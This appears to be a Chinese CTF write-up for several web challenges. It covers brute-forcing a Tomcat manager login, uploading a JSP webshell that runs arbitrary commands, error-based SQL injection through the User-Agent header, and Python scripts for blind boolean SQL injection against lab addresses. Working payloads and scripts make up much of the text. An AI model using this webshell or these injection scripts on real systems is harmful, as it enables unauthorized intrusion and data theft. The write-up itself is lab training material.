payload:
/?OoO[0]=2023&0o0[1]=2023
/?0o0[]=2023A&OoO[]=2023a
一开始打开这个tomcat,没想着直接去搜,就在自己点点,然后毫无收获
死活不肯花分买提示,后来看到头这里有manager
打开后跳登陆界面,有点像了
笑死了拿弱口令爆破了半天
把tomcat admin都试烂了,也没成功,只能去爆破,然后爆破真的很大
爆破的Payloads设定为选择:Custom iterator 还要进行base64编码
账号:manager
密码:1q2w3e4r
发现上传点
这里参考Tomcat/8.0.43漏洞复现-CSDN博客
# cmd2.jsp
<%
if("023".equals(request.getParameter("pwd")))//检查名为 "pwd" 的请求参数是否等于字符串 "023"。这是一个密码验证,只有在密码正确时才会执行后续的命令执行和输出操作。
{
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); //如果密码验证成功,将执行用户传入的命令。通过 Runtime.getRuntime().exec() 方法执行系统命令,并获取命令的输入流。
int a = -1; //定义变量 a,用于存储读取输入流的字节数。
byte[]b = new byte[2048]; //定义字节数组 b,用于存储从输入流读取的数据。
out.print(""); //在页面上打印 标签,表示后续输出的内容应该被格式化为预格式化文本。
while((a=in.read(b))!=-1){ //循环读取输入流中的数据,直到读取完毕。read() 方法返回每次读取的字节数,当返回值为 -1 时表示已经读取到流的末尾。
out.println(new String(b)); //将读取到的字节数组转换为字符串并输出到页面上。
}
out.print("
"); //在页面上打印
标签,表示输出的预格式化文本结束。
}
%>
然后因为要求上传war文件
我一开始是把asp文件压缩为zip文件,再转换为war,但是这样文件被破坏了
可以使用这串命令把asp文件压缩为war文件
jar -cvf a.war a.jsp
上传成功
访问确定一下
跟上pwd就可以命令执行了,ls看到flag
/a/a.jsp?pwd=023&i=cat /flag
源码也给了
connect_error) {
die("连接失败: " . $conn->connect_error);
}
//echo "连接成功";
function waf($str){
$str=trim($str);
$str=addslashes($str);
$str=preg_replace("/\+|\*|\`|\/|\-|\$|\#|\^|\!|\@|\%|\&|\~|\^|\[|\]|\'|\)|\(|\"/", "", $str);//去除特殊符号+*`/-$#^~!@#$%&[]'"
$str=preg_replace("/\s/", "", $str);//去除空格、换行符、制表符
return $str;
}
function waf2($str){
$black_list = "/=|and|union|if|sleep|length|substr|floor|updatexml/i";
if(preg_match($black_list,$str))
{
echo "
";
echo "你注你呢";
echo "
";
}
else{
return $str;
}
}
$uagent = $_SERVER['HTTP_USER_AGENT']; //在agent处进行注入
$IP = $_SERVER['REMOTE_ADDR'];
if(isset($_POST['username']) && isset($_POST['password']))
{
$username = waf($_POST['username']);
$password = waf($_POST['password']);
$uagent = waf2($uagent);
$sql="SELECT username,password FROM sheet1 WHERE username='$username' and password='$password'";
$result1 = mysqli_query($conn,$sql);
$row1 = mysqli_fetch_array($result1);
if($row1)
{
//echo '< font size = 3 >';
$insert="INSERT INTO `uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent','$IP','$username')";//定义一个新表来写入内容,新表名称叫做uagents
// echo $insert;
// echo "
";
mysqli_query($conn,$insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "";
//echo "
";
//echo '';
echo 'Your User Agent is: ' .$uagent;
echo "";
echo "
";
print_r(mysqli_error($conn));
echo "
";
echo "
";
//echo 'your uname is: '.$username;
echo "不错嘛能登上,加油!看看回显信息有思路了没有?";
}
else
{
//echo '';
//echo "Try again looser";
//print_r(mysqli_error($conn));
echo "";
echo "";
echo "";
echo "这都不行?还不好好学?";
}
}
?>
真的很简单
登录
Here is a poor page!
其实看到这串我知道肯定是ua注入了,去看了sqllilab的18关,但是还是没做出来。。
$uagent = $_SERVER['HTTP_USER_AGENT']; //在agent处进行注入
$IP = $_SERVER['REMOTE_ADDR'];
这里的账号密码是admin/8888888
登一下,又提示是ua注入
爆数据库:
使用报错注入 updatexml被过滤了,使用extractvalue
1',2,(extractvalue(1,concat(0x5c,database(),0x5c))))#
kind
爆表
sheet1,uagents
爆字段
1',2,(extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema like "kind" && table_name like "sheet1"),0x5c))))#
查看字段
1',2,(extractvalue(1,concat(0x5c,(select group_concat(username,password) from kind.sheet1),0x5c))))#
admin8888888,fllllaaagYunxi
爆flag,报错语句一次只能看32位
1',2,(extractvalue(1,concat(0x5c,left((select right(group_concat(username,password),33) from kind.sheet1),0x5c),10))))#
1',2,(extractvalue(1,concat(0x5c,left((select right(group_concat(username,password),10) from kind.sheet1),0x5c),10))))#
拼接一下
Yunxi{cb0fb8571956248eb37e8b0007572519}
因为没有回显信息,我们可以判断他是布尔注入
fuzz字典跑一下
现在我们要爆数据库
可以先用bp试一下,爆破数据库名称的第一个字符的ascii码
username=ad' or ascii(substr(database(),1,1))>120
发现长度在121开始不同 ,所以可以得到第一个字符是y
import requests
url="http://192.168.31.60:8083/"
payload="ad' or ascii(substr((database()),{0},1))>{1}#"
flag=''
for i in range(1,50):
for k in range(48,127):
pay1 = payload.format(i,k)
data = {
'username':pay1,
'password':1
}
response=requests.post(url=url,data=data)
if "NoNoNo!" in response.text:
flag += chr(k)
print(flag)
break
运行
爆得数据库名称为yunxi_exam
后面的0只是填充满50个字符,因为我们设置的i长度即数据库长度名为50位
爆完数据库名称就要报表名和字段名
这里生成一个字典,包含所有典型的表名和字段名
import requests
base_url = "http://192.168.31.60:8083/"
payload = "ad' or (length((select group_concat({0}) from yunxi_exam.{1}))>1)#"
zid = []
file_path = r"E:\top100 数据库表名字典.txt"
with open(file_path, "r", encoding="utf-8") as file:
lines = file.readlines()
for line in lines:
line = line.strip() # 去除行尾的换行符和空白字符
zid.append(line) # 将每一行的字符添加到 zid 列表中
for i in zid:
for k in zid:
pay1=payload.format(i,k)
data={
'username':pay1,'password':1
}
response=requests.post(url=base_url,data=data)
a=response.text
if "You are so smart! Let me give you a hint" in a:
print(pay1)
得到表名为users,字段名称为username和password
下面要得到password字段名的内容
这里的payload = "ad' or ascii(substr(select password from {0}))-{1}#"
假设password的字段名为admin,则就是取第一个字母的ascii码即97
然后减掉他的ascii就是0,就会返回nonono,这个利用确实蛮巧妙的
import requests
base_url = "http://172.16.17.60:8083/"
payload = "ad' or ascii(substr((select (password)) from {0}))-{1}#"
b=''
for i in range(0,100,1):
for k in range(30,150,1):
pay1=payload.format(i,k)
data={
'username':pay1,'password':1
}
response=requests.post(url=base_url,data=data)
a=response.text
if "NoNoNo!" in a:
b+=chr(k)
print(b)
说明表名是bighacker2,列名是hack123
import requests
base_url = "http://192.168.31.60:8083/"
payload = "ad' or ascii(substr((select hack123 from bighacker2)from {0}))-{1}#"
b=''
for i in range(0,100,1):
for k in range(30,150,1):
pay1=payload.format(i,k)
data={
'username':pay1,'password':1
}
response=requests.post(url=base_url,data=data)
a=response.text
if "NoNoNo!" in a:
b+=chr(k)
print(b)
解码一下咯
登录
admin/admin12345
GIF89a
//在 HTML 页面中嵌入 PHP 代码
request请求可以用 GET 或 POST 请求发送。